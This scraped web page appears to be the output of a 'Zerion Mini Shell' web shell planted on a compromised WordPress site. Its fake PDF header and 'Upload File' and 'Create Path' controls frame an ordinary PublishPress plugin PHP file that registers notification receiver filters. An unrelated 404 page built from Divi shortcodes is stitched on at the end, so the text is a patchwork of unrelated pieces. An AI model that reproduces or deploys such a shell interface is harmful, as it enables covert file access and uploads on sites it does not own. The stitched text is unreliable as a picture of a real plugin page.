%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom495844/wp-content/plugins/publishpress/lib/Notifications/Workflow/Step/Receiver/
Upload File :
Create Path :
Current File : //dom495844/wp-content/plugins/publishpress/lib/Notifications/Workflow/Step/Receiver/Base.php

<?php
/**
 * @package     PublishPress\Notifications
 * @author      PublishPress <help@publishpress.com>
 * @copyright   Copyright (c) 2022 PublishPress. All rights reserved.
 * @license     GPLv2 or later
 * @since       1.0.0
 */

namespace PublishPress\Notifications\Workflow\Step\Receiver;

use PublishPress\Notifications\Workflow\Step\Base as Base_Step;

class Base extends Base_Step
{
    const META_KEY_SELECTED = '_psppno_toundefined';

    protected $view_name;

    /**
     * The constructor
     */
    public function __construct()
    {
        $this->attr_prefix = 'receiver';

        parent::__construct();

        // Add the event filters to the metabox template
        add_filter(
            "publishpress_notif_workflow_metabox_context_{$this->attr_prefix}_{$this->name}",
            [$this, 'filter_workflow_metabox_context']
        );

        // Add the filter for the list of receivers in the workflow
        add_filter("publishpress_notif_run_workflow_receivers", [$this, 'filter_workflow_receivers'], 10, 3);

        // Add filter to return the value for the column in the workflow list
        add_filter('psppno_receivers_column_value', [$this, 'filter_receivers_column_value'], 10, 2);

        add_filter('publishpress_notifications_receiver_group_label', [$this, 'filter_receiver_group_label']);
    }

    /**
     * Add the respective value to the column in the workflow list
     *
     * @param array $values
     * @param int $post_id
     *
     * @return array
     */
    public function filter_receivers_column_value($values, $post_id)
    {
        return $values;
    }

    public function filter_receiver_group_label($group_name)
    {
        if ($group_name === static::META_VALUE) {
            $group_name = $this->label;
        }

        return $group_name;
    }
}

Zerion Mini Shell 1.0
Page not found - Broad Street Financial
[et_pb_section fb_built=”1″ theme_builder_area=”post_content” _builder_version=”4.20.0″ _module_preset=”default”][et_pb_row _builder_version=”4.20.0″ _module_preset=”default” theme_builder_area=”post_content”][et_pb_column _builder_version=”4.20.0″ _module_preset=”default” type=”4_4″ theme_builder_area=”post_content”][et_pb_text _builder_version=”4.20.0″ _module_preset=”default” theme_builder_area=”post_content” hover_enabled=”0″ sticky_enabled=”0″]

Page Not Found

Sorry the requested page you are looking for is missing or has been moved.

Please check out our site and see if you can find what you are looking for.

[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section]